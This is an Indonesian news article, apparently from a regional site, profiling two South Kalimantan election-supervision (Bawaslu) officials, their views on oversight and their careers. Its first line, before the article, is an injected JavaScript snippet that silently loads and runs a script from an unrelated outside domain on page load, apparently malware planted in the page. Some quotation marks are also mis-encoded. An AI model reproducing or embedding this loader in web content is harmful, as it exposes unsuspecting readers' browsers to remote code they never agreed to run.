(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Terkait tugas-tugas tersebut, Majid menegaskan bahwa Bawaslu memiliki peran stretgis dalam memastikan terwujudnya asas persamaan hak dan asas keadilan dalam Pemilu. Sebab kenyataannya apa yang menjadi obyek pengawasan Bawaslu pun cukup luas. “Banyak sekali pelanggaran yang perlu diantisipasi. Mulai tidak tercovernya masyarakat dalam data pemilih, duplikasi data pemilih, kampanye di luar jadwal, partai yang tidak melaporkan anggaran maupun transparansi dana kampanye. Termasuk juga yang terjadi pada hari H, yakni perlunya aspek pengetatan pada rekapitulasi dan hasil suara,†jelasnya.
Di sisi lain, Azhar Ridhanie yang akrab disapa Aldo, mengatakan, inti dari UU no 7 tahun 2017 adalah Bawaslu mengawal hukum pemilu. Karena yang namanya pengawasan, adalah proses pengamatan, pengkajian, dan mengeksekusi hasil. Sehingga tidak berhenti pada salah satu saja. Demikian pula pada aspek pencegahan, yang menyangkut adanya pendidikan politik dan kesiapan SDM.
Aldo mengatakan, kerja Bawaslu dalam meihat aspek partisipasi publik pun berbeda dengan kacamata yang digunakan oleh Komisi Pemilihan Umum (KPU). Jika KPU partisipasi masyarakat yang tinggi dilihat pada saat mereka melakukan pemungutan suara ke TPS.
“Kalau Bawaslu tidak, itu merupakan satu bagian saja bagi Bawaslu. Bagian penting adalah tahapan, bagaimana masyarakat ikut melakukan pemantuan, melakukan pengawasan. Mulai dari proses pencalonan, pendaftaran peserta pemilu, kampanye dan pencoblosan, hingga dilantik nantinya. Bahkan sampai setelah pelantikan pun, kerap juga terjadi permasalahan. Jadi ini memang merupakan kerja jangka panjang,†tegasnya.
Majid merupakan lulusan Magister Manajemen Pendidikan Universitas Lambung Mangkurat Banjarmasin tahun 2012. Rekam jejak pria kelahiran Bojonegoro ini,  diawali dengan dunia Pendidikan tahun 2001-2008. Beberapa selang masa jabatan sebagai Anggota KPU Kabupaten Banjar 2008-2013 berakhir, kemudian 2013 – 2017 ia menjabat Anggota KPU Provinsi Kalsel.
Sementara Aldo, mempunyai pengalaman penelitian dan pemantauan Pemilu dan Pemilihan kurang lebih selama lima tahun. Lulusan pasca sarjana fakultas Ilmu Sosial dan Ilmu Politik Universitas Lambung Magkurat ini pernah menjabat sebagai anggota KPID Kalsel periode 2010-2012. Dari KPID, Aldo kemudian menjabat anggota Bawaslu Kalsel periode 2012-2017. (cel)
ANGGOTA BAWASLU KABUPATEN/KOTA
Banjarbaru
Kabupaten Tanah Laut
Batola
Tapin
Hulu Sungai Selatan
Hulu Sungai Tengah
Hulu Sungai Utara
Tabalong
Tanah Bumbu
Balangan
Kotabaru
Banjar
Banjarmasin
KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar di kawasan Jalan Kemuning Banjarbaru, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More
KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More
KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More
This website uses cookies.